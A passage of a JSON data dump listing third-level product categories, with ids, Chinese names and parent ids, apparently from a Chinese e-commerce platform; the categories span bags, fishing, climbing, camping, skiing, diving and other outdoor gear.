xtra":null,"is_get_child":false},{"id":22501,"name":"化妆包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22488,"name":"卡包/证件包/零钱包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22484,"name":"钱包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22506,"name":"手机包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22504,"name":"手拿包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22505,"name":"手提包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22503,"name":"双肩包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22507,"name":"斜挎包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22508,"name":"钥匙包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24305,"name":"鼻头","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24315,"name":"冲浪板背袋","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24301,"name":"舵","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24302,"name":"帆板","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24312,"name":"防寒衣/防磨衣","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24311,"name":"防滑垫","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24308,"name":"滑水板","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24314,"name":"滑水板套","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24309,"name":"滑水绳","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24313,"name":"滑水手套","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24310,"name":"滑水鞋","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24303,"name":"脚绳","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24307,"name":"救生衣","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24304,"name":"蜡块","parent_cid":20502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24634,"name":"绑钩器","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24594,"name":"抄网","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24628,"name":"抄网杆","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24627,"name":"抄网头","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24703,"name":"垂钓小配件","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24626,"name":"打窝船","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24602,"name":"钓竿","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24601,"name":"钓台","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24603,"name":"钓箱","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24704,"name":"钓鱼报警器","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24701,"name":"钓鱼比赛/培训/游钓/钓鱼券","parent_cid":20528,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24641,"name":"钓鱼船","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24712,"name":"钓鱼船推进器","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24640,"name":"钓鱼服","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24671,"name":"钓鱼剪刀","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24639,"name":"钓鱼帽","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24638,"name":"钓鱼伞","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24672,"name":"钓鱼手套","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24642,"name":"钓鱼鞋","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24705,"name":"钓鱼椅、凳","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24643,"name":"饵料盒","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24596,"name":"浮漂","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24632,"name":"浮漂座","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24598,"name":"竿止","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24630,"name":"控鱼钳","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24636,"name":"路亚钳","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24597,"name":"漂盒","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24605,"name":"铅皮","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24604,"name":"铅坠","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24623,"name":"伸缩扣","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24625,"name":"失手绳","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24624,"name":"太空豆","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24629,"name":"探鱼器","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24635,"name":"脱钩器","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24599,"name":"线盒","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24600,"name":"线组","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24637,"name":"醒目豆","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24610,"name":"鱼饵","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24609,"name":"鱼钩","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24606,"name":"鱼护","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24633,"name":"渔具包","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24670,"name":"渔具套装","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24607,"name":"鱼桶","parent_cid":20528,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24620,"name":"鱼网/虾笼/其它渔具","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24608,"name":"鱼线","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24644,"name":"鱼线轮","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24595,"name":"支架","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24631,"name":"止血钳","parent_cid":20528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24417,"name":"刀鞘/刀套","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24439,"name":"多功能组合工具","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24418,"name":"放大镜","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24424,"name":"工兵铲/工兵锹","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24423,"name":"工兵斧/营地斧","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24416,"name":"挂扣","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24436,"name":"磨刀护刀相关","parent_cid":20511,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24431,"name":"瑞士军刀","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24415,"name":"伞绳","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24440,"name":"野营旅行小配件","parent_cid":20511,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24774,"name":"安全带","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24773,"name":"保护器","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24776,"name":"抱石垫","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24756,"name":"扁带","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24753,"name":"冰镐","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24751,"name":"冰爪","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24752,"name":"冰锥","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24757,"name":"挂片","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24758,"name":"滑轮","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24764,"name":"快挂(专业攀岩用)","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24779,"name":"镁粉袋","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24800,"name":"攀岩绳包","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24777,"name":"攀岩鞋","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24778,"name":"膨胀钉","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24771,"name":"上升器","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24759,"name":"绳索","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24760,"name":"锁具","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24772,"name":"下降器","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24755,"name":"岩钉","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24775,"name":"岩石塞","parent_cid":20548,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24506,"name":"地布/地席","parent_cid":20522,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24509,"name":"防潮垫","parent_cid":20522,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24508,"name":"辅配件","parent_cid":20522,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24501,"name":"枕头","parent_cid":20522,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24435,"name":"防护面罩","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24430,"name":"防灾包/防地震包","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24437,"name":"户外应急装备","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24426,"name":"急救毯/保温毯","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24427,"name":"救生棒/荧光棒","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24422,"name":"求生锯/绳锯/线锯","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24420,"name":"求生哨","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24428,"name":"求生绳/逃生绳","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24432,"name":"取暖用品","parent_cid":20512,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24421,"name":"生存包","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24419,"name":"信号镜","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24425,"name":"应急包/自救包","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24433,"name":"运动护具","parent_cid":20512,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24393,"name":"滑翔伞","parent_cid":20509,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24654,"name":"固定器","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24655,"name":"滑雪板","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24718,"name":"滑雪保养工具","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24682,"name":"滑雪护具","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24681,"name":"滑雪手套","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24680,"name":"滑雪头盔","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24656,"name":"滑雪鞋","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24683,"name":"滑雪眼镜","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24707,"name":"滑雪专用包","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24614,"name":"雪杖","parent_cid":20533,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24765,"name":"冰包/冰桶","parent_cid":20546,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24770,"name":"挡风板","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24795,"name":"点火用具","parent_cid":20546,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24789,"name":"调味盒/调料瓶","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24804,"name":"户外鼓风机","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24787,"name":"烧烤炉/烤架","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24796,"name":"烧烤配件","parent_cid":20546,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24809,"name":"烧烤野炊燃料","parent_cid":20546,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24767,"name":"套锅/户外炊具","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24792,"name":"野餐包/户外餐具套装","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24798,"name":"野餐餐具","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24791,"name":"野餐篮/鸡蛋蓝/食品袋","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24797,"name":"野餐炉具","parent_cid":20546,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24673,"name":"保暖棉服","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24674,"name":"冲锋衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24647,"name":"防晒衣","parent_cid":20529,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24714,"name":"功能内衣内裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24645,"name":"滑雪服","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24715,"name":"户外休闲衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24676,"name":"软壳衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24677,"name":"速干衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24713,"name":"一次性内衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24646,"name":"羽绒服","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24675,"name":"抓绒衣裤","parent_cid":20529,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24667,"name":"登山鞋/徒步鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24722,"name":"高海拔登山靴/攀冰鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24706,"name":"户外休闲鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24665,"name":"沙滩鞋/凉鞋/拖鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24650,"name":"溯溪鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24651,"name":"雪地靴","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24679,"name":"越野跑鞋","parent_cid":20531,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24768,"name":"充气床","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24749,"name":"吊床","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24788,"name":"户外床/折叠床","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24794,"name":"户外灯架","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24803,"name":"户外营地车","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24808,"name":"户外椅子凳子","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24807,"name":"户外桌椅套装","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24793,"name":"户外桌子","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24750,"name":"秋千","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24769,"name":"野餐垫","parent_cid":20545,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24678,"name":"灯具配件","parent_cid":20530,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24649,"name":"钓鱼灯","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24716,"name":"潜水照明装备","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24648,"name":"手电筒","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24611,"name":"头灯","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24669,"name":"信号灯/发光棒/救生灯","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24666,"name":"营地灯/帐篷灯","parent_cid":20530,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24733,"name":"军迷包具","parent_cid":20540,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24734,"name":"军迷服装","parent_cid":20540,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24735,"name":"军迷配饰","parent_cid":20540,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24736,"name":"军迷鞋靴","parent_cid":20540,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24799,"name":"旅行安全","parent_cid":20547,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24810,"name":"其他旅行用品","parent_cid":20547,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24711,"name":"浮力调整器(BC)","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24708,"name":"呼吸调节器","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24668,"name":"呼吸管/呼吸器","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24619,"name":"面镜","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24719,"name":"配重和配重带","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24686,"name":"潜水电脑","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24659,"name":"潜水服","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24685,"name":"潜水浮标","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24710,"name":"潜水减压表","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24658,"name":"潜水帽","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24660,"name":"潜水袜","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24687,"name":"潜水箱包","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24661,"name":"潜水靴","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24684,"name":"潜水仪表","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24617,"name":"气瓶","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24657,"name":"手写板","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24709,"name":"水下推进器","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24616,"name":"探棒","parent_cid":20534,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24621,"name":"船桨/划艇配件","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24653,"name":"独木舟","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24612,"name":"帆船","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24613,"name":"龙舟","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24652,"name":"摩托艇","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24717,"name":"皮划艇充气艇","parent_cid":20532,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24346,"name":"GPS/电子导航设备","parent_cid":20505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24389,"name":"户外功能手表","parent_cid":20505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24378,"name":"无线电/对讲机/通讯设备","parent_cid":20505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24377,"name":"指南针/温度计/气压计/高度计","parent_cid":20505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24517,"name":"垂钓望远镜","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24522,"name":"红外夜视仪","parent_cid":20524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24516,"name":"户外眼镜","parent_cid":20524,"level":3,"ena